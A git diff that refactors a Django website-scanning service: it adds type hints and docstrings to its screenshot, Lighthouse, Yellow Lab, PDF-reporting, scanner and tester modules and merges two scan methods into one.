         # requesting page_url
         await page.goto(_page.page_url, page_options)
 
+        # handling anamations
         if self.configs.get('disable_animations') == True:
-            # inserting animation pausing script
             try:
+                # inserting animation pausing script
                 await page.evaluate(self.pause_animations_script)
             except:
                 print('cannot pause animations')
-
-            # pausing videos
             try:
+                # pausing videos
                 videos = await page.querySelectorAll('video')
                 for vid in videos:
                     await page.evaluate('(vid) => vid.pause()', vid)
@@ -479,20 +488,16 @@ def save_image(*args, **kwargs):
         # saving image
         await save_image(pic_id=pic_id, image=final_img)
 
+        # cleaning up
         await driver.close()
 
+        # returning images
         return self.image_array
 
 
 
 
-
-
-
-
-
-
-    def test(self, test, index=None):
+    def test(self, test: object, index: int=None) -> dict:
         """
         Compares each screenshot between the two scans and records 
         a score out of 100%.
@@ -501,6 +506,16 @@ def test(self, test, index=None):
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
+
+        Expects: {
+            'test': object, 
+            'index': int,
+        }
+
+        Returns -> data: {
+            'average_score' : float(0-100),
+            'images'        : dict,
+        }
         """
 
         # setup temp dirs
@@ -573,7 +588,7 @@ def test(self, test, index=None):
                 # build two new images with differences highlighted
                 def highlight_diffs(pre_img_path, post_img_path, index):
                     '''
-                        Returns -> two new images with highlights & float(ssim_score)
+                    Returns -> two new images with highlights & float(ssim_score)
                     '''
                     # Load the images
                     image1 = cv2.imread(pre_img_path)
@@ -707,8 +722,7 @@ def cv2_score(pre_img, post_img):
                     pre_img_diff = ssim_results['img_objs'][0]
                     post_img_diff = ssim_results['img_objs'][1]
                     
-                    # img_score_tupple = ssim(pre_img_array, post_img_array)
-                    # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
+                    # ssim scoring
                     ssim_img_score =  ssim_results['ssim_score'] * 100
 
                     # pillow scoring
@@ -767,12 +781,14 @@ def cv2_score(pre_img, post_img):
             avg_score = statistics.fmean(scores)
         except:
             avg_score = None
-            
+
+        # formatting response
         images_delta = {
             "average_score": avg_score,
             "images": img_test_results,
         }
 
+        # returning response
         return images_delta
 
 
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b9a83bd5..f456b93f 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,12 +1,19 @@
-import subprocess, json, uuid, boto3, shutil, os, requests
+import subprocess, json, uuid, boto3, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 
 
 
+
+
+
 class Lighthouse():
 
-    """Initializes Google's Lighthouse CLI and runs an audit of the site"""
+    """
+    Initializes Google's Lighthouse CLI and runs an audit of the site
+
+    Use self.get_data() to init a run
+    """
 
 
     def __init__(self, scan=None, configs=None):
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 6e637c4c..e92ff8bd 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,36 +1,53 @@
 from ..models import *
-import PIL.Image as Img
 from scanerr import settings
-from datetime import datetime, timedelta
 from reportlab.lib.pagesizes import letter
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
 from reportlab.pdfgen import canvas
-import time, os, sys, json, boto3, textwrap, requests
+import os, json, boto3, textwrap, requests
+
+
 
 
 
-class Reporter():
 
-    ''' 
-    Used for generating web vitals reports for the passed `Site` obj
+class Reporter():
+    """ 
+    Used for generating web vitals reports for 
+    the associated `Page` & `Scan`
 
     Expects -> {
-        "report": <report:obj>,
+        'report': <report:obj>,
+        'scan'  : <scan:obj>,
     }
 
-    returns --> <report:obj>
-    
-    '''
+    Use self.generate_report() to create a new report
 
-    def __init__(self, report, scan=None):
+    Returns -> data: {
+        'report' : object,
+        'success': bool,
+        'message': str
+    }
+    """
+
+
+
+
+    def __init__(self, report: object, scan: object=None):
+        
+        # getting report, scan, & page
         self.report = report
         self.page = self.report.page
+        self.scan = scan
+
+        # retrieveing latest scan if none
         if scan is None:
-            self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
-        else:
-            self.scan = scan
+            try:
+                self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
+            except:
+                self.scan = None
 
+        
         # building paths & canvas template
         if os.path.exists(os.path.join(settings.BASE_DIR,  f'temp/')):
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
@@ -38,6 +55,7 @@ def __init__(self, report, scan=None):
             os.makedirs(f'{settings.BASE_DIR}/temp')
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
     
+        # setting default colors 
         self.page_index = 0
         self.text_color = self.report.info['text_color']
         self.highlight_color = self.report.info['highlight_color']
@@ -53,48 +71,67 @@ def __init__(self, report, scan=None):
         )
 
     
-    def setup_page(self):
+
+
+    def setup_page(self) -> None:
         # sets the defaults for a new page
         self.c.setFillColor(HexColor(self.background_color))
         self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1)
+        return None
 
 
-    def end_page(self):
+
+
+    def end_page(self) -> None:
         # adds page number and ends page
         self.c.setFont('Helvetica-Bold', 15)
         self.c.setFillColor(HexColor(self.text_color))
         self.page_index += 1
         self.c.drawString(7.7*inch, .3*inch, str(self.page_index))
         self.c.showPage()
+        return None
+
 
 
-    def draw_page_title(self, title):
+
+    def draw_page_title(self, title: str) -> None:
         # adds a title to the given page 
         self.c.setFont('Helvetica-Bold', 32)
         self.c.setFillColor(HexColor(self.text_color))
         self.c.drawCentredString(4.25*inch, 10*inch, title)
+        return None
+
 
 
-    def publish_report(self):
+
+    def publish_report(self) -> None:
+        # saves report and uploads to s3
         self.c.save()
         remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
-        
-
         # uploading package to remote s3 
         with open(self.local_path, 'rb') as data:
             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
                 remote_path, ExtraArgs={
                     'ACL': 'public-read', 'ContentType': 'application/pdf'}
             )
-
+        # building and saving report_url
         report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0'
-
         self.report.path = report_url
         self.report.save()
         os.remove(self.local_path)
+        return None
 
-    
-    def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
+
+
+
+    def draw_wrapped_line(
+            self, 
+            text: str, 
+            length: int, 
+            x_pos: int, 
+            y_pos: int, 
+            y_offset: int
+        ) -> None:
         """
         :param text: the raw text to wrap
         :param length: the max number of characters per line
@@ -102,6 +139,7 @@ def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
         :param y_pos: starting y position
         :param y_offset: the amount of space to leave between wrapped lines
         """
+        # Wraps the passed test at a certain char_length
         if len(text) > length:
             wraps = textwrap.wrap(text, length, break_long_words=True)
             for x in range(len(wraps)):
@@ -110,11 +148,18 @@ def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
             y_pos += y_offset  # add back offset after last wrapped line
         else:
             self.c.drawString(x_pos*inch, y_pos*inch, text)
-        return y_pos
+        return None
 
     
 
-    def cover_page(self):
+
+    def cover_page(self) -> None:
+        """ 
+        Builds the cover page with a title
+
+        Returns -> None
+        """
+
         # background and title
         self.setup_page()
         
@@ -161,17 +206,31 @@ def cover_page(self):
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
         self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')
-
         self.end_page()
-
+        return None
+        
 
 
     
-    def get_score_data(self, score, is_binary=False):
+    def get_score_data(self, score: float, is_binary: bool=False) -> dict:
+        """ 
+        Using the passed 'score', decide on 
+        which grade and color to return.
+
+        Expects: {
+            'score'     : float,
+            'is_binary' : bool
+        }
+
+        Returns -> dict
+        """
+
+        # calc score if binary
         score = float(score)
         if is_binary:
             score = score*100
 
+        # defining score types
         score_types = {
             "a": {
                 "grade": "A",
@@ -200,6 +259,7 @@ def get_score_data(self, score, is_binary=False):
 
         }
 
+        # calculate grade
         if score >= 80:
             grade = score_types['a']
         elif 80 > score >= 70:
@@ -213,10 +273,16 @@ def get_score_data(self, score, is_binary=False):
         else:
             grade = score_types['f']
 
+        # return
         return grade
 
 
-    def get_cat_string(self, cat):
+
+
+    def get_cat_string(self, cat: str) -> str:
+        """ 
+        Returns the string coresponding to the passed 'cat'
+        """
         
         if cat == 'fonts':
             string = 'Fonts'
@@ -255,9 +321,10 @@ def get_cat_string(self, cat):
 
     
     
-    def get_audits(self, uri=str):
+
+    def get_audits(self, uri: str) -> dict:
         """
-        Downloads teh JSON file from the passed uri
+        Downloads the JSON file from the passed uri
         and return the data as a python dict
         """
         res = requests.get(uri)
@@ -267,15 +334,28 @@ def get_audits(self, uri=str):
 
 
 
-    def create_data(self, data_type=str):
+    def create_data(self, data_type: str) -> None:
+        """ 
+        Paints the data for the passed 'data_type', 
+        either 'lighthouse' or 'yellowlab'.
+        
+        Expects: {
+            'data_type': str
+        }
+
+        Returns -> None
+        """
+        
+        # add new page
         self.setup_page()
         
+        # decide on which data type
         if data_type == 'yellowlab':
             data = self.scan.yellowlab
             data['audits'] = self.get_audits(data['audits'])
             page_title = 'Yellow Lab'
             avg_score = 'globalScore'
-        
+
         if data_type == 'lighthouse':
             data = self.scan.lighthouse
             data['audits'] = self.get_audits(data['audits'])
@@ -337,7 +417,6 @@ def create_data(self, data_type=str):
                         f'{data["scores"][avg_score]}/100'
                     )
 
-                
                 # creating new page at limit --> 20 items
                 if logs_count >= 20:
                     self.end_page()
@@ -349,8 +428,6 @@ def create_data(self, data_type=str):
                 # creating space btw sections
                 if c_count > 0 and logs_count != 0:
                     begin_y = (self.y - .2)
-                    
-
 
                 # creating individual grade cards
                 grade_obj = self.get_score_data(data['scores'][cat])
@@ -380,7 +457,6 @@ def create_data(self, data_type=str):
                     cat_string
                 )
 
-
                 p_count = 0
                 for policy in data['audits'][cat]:
 
@@ -400,7 +476,6 @@ def create_data(self, data_type=str):
                                 policy_value = policy["displayValue"]
                         binary = True
 
-
                     if len(policy_text) < 53:
                         # creating log box
                         self.c.setFont('Helvetica', 9)
@@ -442,60 +517,63 @@ def create_data(self, data_type=str):
                             (f'{policy_value}')
                         )
                         
-                        
                         p_count += 1
                         logs_count += 1
                         self.y = (begin_y - (space * p_count))
             
             c_count += 1
         
-
-        
         self.end_page()
 
+        return None
 
 
 
 
 
+    def generate_report(self) -> dict:
+        """ 
+        Generates a new Report.
 
+        Returns -> data: {
+            'report' : object,
+            'success': bool,
+            'message': str
+        }
+        """
 
+        # setting defaults
+        message = 'Scan Page first'
+        success = False
 
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-    def make_test_report(self):
+        # generating if scan is available
+        if self.scan:
+            
+            # add title
+            self.cover_page()
         
-        self.cover_page()
-    
-        if 'lighthouse' in self.report.type or 'full' in self.report.type:
-            self.create_data(data_type='lighthouse')
-
-        if 'yellowlab' in self.report.type or 'full' in self.report.type:
-            self.create_data(data_type='yellowlab')
+            # build lighthouse data
+            if 'lighthouse' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='lighthouse')
 
-        if 'crux' in self.report.type or 'full' in self.report.type:
-            self.setup_page()
-            self.draw_page_title('CRUX')
-            self.end_page()
+            # build yellowlab data
+            if 'yellowlab' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='yellowlab')
+            
+            # save report
+            self.publish_report()
+            message = 'Report Generated'
+            success = True
+        
+        # formating response
+        data = {
+            'report' : self.report,
+            'success': success,
+            'message': message
+        }
 
-        self.publish_report()
-        return self.report
+        # returning response
+        return data
 
 
         
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index a8c7ede9..93c462f8 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -2,83 +2,90 @@
 from .driver_s import driver_wait, get_data as get_s_driver_data
 from .driver_p import get_data
 from ..models import *
-from .automations import automation
+from .automater import Automater
 from .tester import Tester
-from django.forms.models import model_to_dict
-from django.core.serializers.json import DjangoJSONEncoder
 from .lighthouse import Lighthouse
 from .yellowlab import Yellowlab
-from .image import Image
+from .imager import Imager
 from datetime import datetime
 from scanerr import settings
-import time, os, sys, json, asyncio, uuid, boto3
+import os, asyncio, uuid, boto3
+
+
+
 
 
 
 class Scanner():
+    """ 
+    Used to run and build all the 
+    components of a new `Scan`
+
+    Expects -> {
+        'site'    : object,
+        'page'    : object,
+        'scan'    : object,
+        'configs' : dict,
+        'type'    : list
+    }
+
+    Use self.build_scan() to create a new Scan
+
+    Returns -> `Scan` object
+    """
+
+
+
 
     def __init__(
             self, 
-            site=None, 
-            page=None,
-            scan=None, 
-            configs=None,
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+            site: object=None, 
+            page: object=None,
+            scan: object=None, 
+            configs: dict=settings.CONFIGS,
+            type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
         ):
 
-        if site == None and scan != None:
-            site = scan.site
-        
-        if page == None and scan != None:
-            page = scan.page
-        
-        if configs is None:
-            configs = {
-                'window_size': '1920,1080',
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'interval': 5,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False
-            }
-        
         self.site = site
         self.page = page
-        
-        if configs['driver'] == 'selenium':
-            self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device'])
-        
-        if scan is not None:
-            self.scan = scan
-        else:
-            self.scan = None
-        
+        self.scan = scan
         self.configs = configs
         self.type = type
 
+        # getting page and site if None
+        if site == None and scan != None:
+            self.site = scan.site
+        if page == None and scan != None:
+            self.page = scan.page
+        
+    
 
 
-    def first_scan(self):
+    def build_scan(self) -> object:
         """
-            Method to run a scan independently of an existing `scan` obj.
+        Method to run a scan independently of an existing `scan` obj.
 
-            returns -> `Scan` <obj>
+        Returns -> `Scan` <obj>
         """
 
+        # setting defaults
         html = None
         logs = None
         images = None
         lh_data = None
         yl_data = None
 
+        # creating Scan obj if None was passed
         if self.scan is None:
             self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type)
         
+        # running scan steps with selenium driver
         if self.configs['driver'] == 'selenium':
-            self.driver.get(self.page.page_url)
+            driver = driver_s_init(
+                window_size=self.configs['window_size'], 
+                device=self.configs['device']
+            )
+            driver.get(self.page.page_url)
             s_driver_data = get_s_driver_data(
                 driver=self.driver, 
                 max_wait_time=self.configs['max_wait_time']
@@ -88,9 +95,11 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = s_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
-            quit_driver(self.driver)
-        else:
+                images = Imager(scan=self.scan, configs=self.configs).scan_s(driver=driver)
+            quit_driver(driver)
+        
+        # running scan steps with puppeteer driver
+        if self.configs['driver'] == 'puppeteer':
             p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
@@ -102,13 +111,15 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = p_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
+                images = asyncio.run(Imager(scan=self.scan, configs=self.configs).scan_p())
         
+        # running LH & YL if requested
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
         if 'yellowlab' in self.scan.type or 'full' in self.scan.type:
             yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
 
+        # updating Scan object
         if html is not None:
             save_html(html, self.scan)
         if logs is not None:
@@ -120,115 +131,33 @@ def first_scan(self):
         if yl_data is not None:
             self.scan.yellowlab = yl_data
 
+        # saving scan data
         self.scan.configs = self.configs
         self.scan.time_completed = datetime.now()
         self.scan.save()
-        first_scan = self.scan
 
-        update_page_info(first_scan)
-        update_site_info(first_scan)
+        # updating Site and Page objects
+        update_page_info(self.scan)
+        update_site_info(self.scan)
 
-        return first_scan
+        # return updated scan obj
+        return self.scan
 
 
 
 
-
-    def second_scan(self):
-        """
-            Method to run a scan and attach existing `Scan` obj to it.
-
-            returns -> `Scan` <obj>
-        """
-        if not self.scan:
-            first_scan = Scan.objects.filter(
-                site=self.site, 
-                page=self.page,
-                time_completed__isnull=False
-            ).order_by('-time_created').first()
-        
-        else:
-            first_scan = self.scan
-
-        # create second scan obj 
-        second_scan = Scan.objects.create(site=self.site,  page=self.page, type=self.type)
-
-        html = None
-        logs = None
-        images = None
-        lh_data = None
-        yl_data = None
-        
-        if self.configs['driver'] == 'selenium':
-            self.driver.get(self.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = s_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = s_driver_data['logs']
-            if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
-            quit_driver(self.driver)
-        else:
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=self.page.page_url, 
-                    configs=self.configs
-                )
-            )
-            if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = p_driver_data['html']
-            if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = p_driver_data['logs']
-            if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
-        
-        if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
-            lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
-        if 'yellowlab' in second_scan.type or 'full' in second_scan.type:
-            yl_data = Yellowlab(scan=second_scan, configs=self.configs).get_data()
-
-        if html is not None:
-            save_html(html, second_scan)
-        if logs is not None:
-            second_scan.logs = logs
-        if images is not None:
-            second_scan.images = images
-        if lh_data is not None:
-            second_scan.lighthouse = lh_data
-        if yl_data is not None:
-            second_scan.yellowlab = yl_data
-
-        second_scan.configs = self.configs
-
-        second_scan.time_completed = datetime.now()
-        second_scan.paired_scan = first_scan
-        second_scan.save()
-        
-        first_scan.paried_scan = second_scan
-        first_scan.save()
-
-        update_page_info(second_scan)
-        update_site_info(second_scan)
-        
-        return second_scan
-
-
-
-
-
-
-
-def update_site_info(scan):
+def update_site_info(scan: object) -> object:
     """ 
-        Method to update associated Site with the new Scan data
+    Method to update associated Site with the new Scan data
 
-        returns -> `Site` <obj>
+    Expects: {
+        'scan': object
+    }
+
+    Returns -> `Site` <obj>
     """
-        
+    
+    # setting defaults
     health = 'No Data'
     badge = 'neutral'
     score = 0
@@ -247,8 +176,7 @@ def update_site_info(scan):
     
     # calc average score
     if len(scans) > 0:
-        score = sum(scans)/len(scans)
-        
+        score = sum(scans)/len(scans)  
     if score != 0:
         if score >= 75:
             health = 'Good'
@@ -259,7 +187,6 @@ def update_site_info(scan):
         elif 60 > score:
             health = 'Poor'
             badge = 'danger'
-    
     else:
         if site.info['status']['score'] is not None:
             score = float(site.info['status']['score'])
@@ -268,35 +195,40 @@ def update_site_info(scan):
         else:
             score = None
 
+    # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
     site.info['latest_scan']['time_created'] = str(scan.time_created)
     site.info['latest_scan']['time_completed'] = str(scan.time_completed)
     site.info['status']['health'] = str(health)
     site.info['status']['badge'] = str(badge)
     site.info['status']['score'] = score
-
     site.save()
 
+    # returning site
     return site
 
 
 
 
-
-
-def update_page_info(scan):
+def update_page_info(scan: object) -> object:
     """ 
-        Method to update associated Page with the new Scan data
+    Method to update associated Page with the new Scan data
+
+    Expects: {
+        'scan': object
+    }
 
-        returns -> `Page` <obj>
+    Returns -> `Page` <obj>
     """
-        
+    
+    # setting defaults
     health = 'No Data'
     badge = 'neutral'
     d = 0
     score = 0
     page = scan.page
 
+    # selecting LH & YL scores if present
     if scan.lighthouse['scores']['average'] is not None:
         score += float(scan.lighthouse['scores']['average'])
         d += 1
@@ -304,6 +236,7 @@ def update_page_info(scan):
         score += float(scan.yellowlab['scores']['globalScore'])
         d += 1
     
+    # calc average health score
     if score != 0:
         score = score / d
         if score >= 75:
@@ -315,7 +248,6 @@ def update_page_info(scan):
         elif 60 > score:
             health = 'Poor'
             badge = 'danger'
-    
     else:
         if scan.page.info['status']['score'] is not None:
             score = float(page.info['status']['score'])
@@ -324,6 +256,7 @@ def update_page_info(scan):
         else:
             score = None
 
+    # saving new info to page
     page.info['latest_scan']['id'] = str(scan.id)
     page.info['latest_scan']['time_created'] = str(scan.time_created)
     page.info['latest_scan']['time_completed'] = str(scan.time_completed)
@@ -332,22 +265,25 @@ def update_page_info(scan):
     page.info['status']['health'] = str(health)
     page.info['status']['badge'] = str(badge)
     page.info['status']['score'] = score
-
     page.save()
 
+    # returning page
     return page
 
 
 
 
-
-
-def save_html(html, scan):
+def save_html(html: str, scan: object) -> object:
     """
-        Saves html page source as a '.txt' file and uploads 
-        to s3. Then saves the remote uri to the `scan` obj.
+    Saves html page source as a '.txt' file and uploads 
+    to s3. Then saves the remote uri to the `scan` obj.
 
-        returns -> `Scan` <obj>
+    Expects: {
+        html: str, 
+        scan: object
+    }
+
+    Returns -> `Scan` <obj>
     """
 
     # setup boto3 configuration
@@ -382,24 +318,31 @@ def save_html(html, scan):
     # remove local copy
     os.remove(html_file)
 
+    # return scan
     return scan
 
 
 
 
-
-
-def check_scan_completion(scan, test_id, automation_id):
+def check_scan_completion(scan: object, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method that checks if the scan has finished all 
-        components. If so, method also updates Scan, Site, 
-        & Page info.
+    Method that checks if the scan has finished all 
+    components. If so, method also updates Scan, Site, 
+    & Page info. If test_id is present, initiates a run_test()
+
+    Expects: {
+        scan: object, 
+        test_id: str,
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """
 
+    # setting defaults
     finished = True
 
+    # checking for each scan type completion
     if 'html' in scan.type or 'full' in scan.type:
         if scan.html == None or scan.html == '':
             finished = False
@@ -434,27 +377,35 @@ def check_scan_completion(scan, test_id, automation_id):
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id:
-                automation(automation_id, test.id)
+                Automater(automation_id, test.id).run_automation()
 
+    # returning scan
     return scan
 
 
 
 
+def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
+    """
+    Method to run the 'html' and 'logs' component of the scan 
+    allowing for multi-threading.
 
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-def _html_and_logs(scan_id, test_id, automation_id):
+    Returns -> `Scan` <obj>
     """
-        Method to run the 'html' and 'logs' component of the scan 
-        allowing for multi-threading.
 
-        returns -> `Scan` <obj>
-    """
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
     try:
+        # get html and logs if driver is selenium
         if scan.configs['driver'] == 'selenium':
-
+            # init driver & get data
             driver = driver_s_init(
                 window_size=scan.configs['window_size'], 
                 device=scan.configs['device']
@@ -475,8 +426,9 @@ def _html_and_logs(scan_id, test_id, automation_id):
                 scan.save()
             quit_driver(driver)
 
+        # get html and logs if driver is puppeteer
         if scan.configs['driver'] == 'puppeteer':
-            
+            # init driver & get data
             p_driver_data = asyncio.run(
                 get_data(
                     url=scan.page.page_url, 
@@ -495,33 +447,42 @@ def _html_and_logs(scan_id, test_id, automation_id):
     except Exception as e:
         print(e)
 
-
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # return udpated scan
     return scan
 
 
 
 
-
-def _vrt(scan_id, test_id, automation_id):
+def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the visual regression (vrt) component of the scan 
-        allowing for multi-threading.
+    Method to run the visual regression (vrt) component of the scan 
+    allowing for multi-threading.
+
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
     try:
+        # run Imager using selenium
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image(scan=scan, configs=scan.configs).scan_s(driver=driver)
+            images = Imager(scan=scan, configs=scan.configs).scan_s(driver=driver)
             quit_driver(driver)
 
+        # run Imager using puppeteer
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image(scan=scan, configs=scan.configs).scan_p())
+            images = asyncio.run(Imager(scan=scan, configs=scan.configs).scan_p())
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
@@ -533,19 +494,27 @@ def _vrt(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
 
 
 
 
-
-def _lighthouse(scan_id, test_id, automation_id):
+def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the lighthouse component of the scan 
-        allowing for multi-threading.
+    Method to run the lighthouse component of the scan 
+    allowing for multi-threading.
 
-        returns -> `Scan` <obj>
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
+
+    Returns -> `Scan` <obj>
     """
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
     try:
@@ -562,20 +531,27 @@ def _lighthouse(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
 
 
 
 
-
-
-def _yellowlab(scan_id, test_id, automation_id):
+def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the yellowlab component of the scan 
-        allowing for multi-threading.
+    Method to run the yellowlab component of the scan 
+    allowing for multi-threading.
+
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """ 
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
     try:
@@ -592,4 +568,9 @@ def _yellowlab(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
+
+
+
+
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index d4aa278a..17d3de6f 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,16 +1,36 @@
 from ..models import *
 from datetime import datetime
-from .image import Image
+from .imager import Imager
 from scanerr import settings
-from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, requests, uuid, boto3
+from difflib import SequenceMatcher
+import os, json, random, \
+string, re, requests, uuid, boto3
+
+
 
 
 
 
 class Tester():
+    """ 
+    Used to run and build all the 
+    components of a new `Test`
+
+    Expects -> {
+        'test' : object,
+    }
+
+    Use self.run_test() to create a new Test
+
+    Returns -> `Test` object
+    """
+
 
-    def __init__(self, test):
+
+
+    def __init__(self, test: object):
+
+        # setting defaults
         self.test = test
         self.pre_scan_html = []
         self.post_scan_html = []
@@ -28,12 +48,19 @@ def __init__(self, test):
         )
 
 
-    def clean_html(self):
+
+
+    def clean_html(self) -> None:
+        # cleans both pre_ and post_ html
+        # and prepares them for comparison
+
+        # retrieveing data from remote s3
         pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
         post_scan_html_raw = requests.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 
+        # setting watch lists
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
             '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title', '<iframe',  
@@ -49,6 +76,8 @@ def clean_html(self):
             '</datalist', '</data', '</colgroup', '</col', '</code', '</cite', '</caption', '</canvas', '</button', '</body', '</blockquote',
             '</bdo', '</bdi', '</base', '</pre', '</b', '</br', '</audio', '</aside', '</article', '</area', '</address', '</abbr', '</a',
         ]
+
+        # clean pre_scan_html
         for line in pre_scan_html:
             for item in white_list:
                 if item in line:
@@ -60,6 +89,7 @@ def clean_html(self):
                 if sub not in tags:
                     self.pre_scan_html.append((sub+'>'))
         
+        # clean post_scan_html
         for line in post_scan_html:
             for item in white_list:
                 if item in line:
@@ -71,15 +101,21 @@ def clean_html(self):
                 if sub not in tags:
                     self.post_scan_html.append((sub+'>'))
 
-        return
+        return None
+
+
 
     
-    def clean_logs(self): 
+    def clean_logs(self) -> None:
+        # cleans both pre_ and post_ logs
+        # and prepares them for comparison
+         
+        # setting defaults
         pre_scan_logs_json = self.test.pre_scan.logs
         post_scan_logs_json = self.test.post_scan.logs
         order = ("level", "source", "message")
 
-
+        # cleaning pre_scan_logs
         for log in pre_scan_logs_json:
             new_log = {}
             for label in order:
@@ -88,7 +124,7 @@ def clean_logs(self):
                         new_log[label] = log.get(key)
             self.pre_scan_logs.append(json.dumps(new_log))
 
-
+        # cleaning post_scan_logs
         for log in post_scan_logs_json:
             new_log = {}
             for label in order:
@@ -97,58 +133,80 @@ def clean_logs(self):
                         new_log[label] = log.get(key)
             self.post_scan_logs.append(json.dumps(new_log))
 
-        return
+        return None
 
 
-    def compare_html(self):
+
+
+    def compare_html(self) -> float:
+        # calculates the similarity of pre and post html
+        # using SequenceMatcher()
+
+        # clean html first
         self.clean_html()
-        pre_scan = self.pre_scan_html
-        post_scan = self.post_scan_html
+        
+        # calculate score
         html_raw_score = SequenceMatcher(
-            None, pre_scan, post_scan
+            None, self.pre_scan_html, self.post_scan_html
         ).ratio()
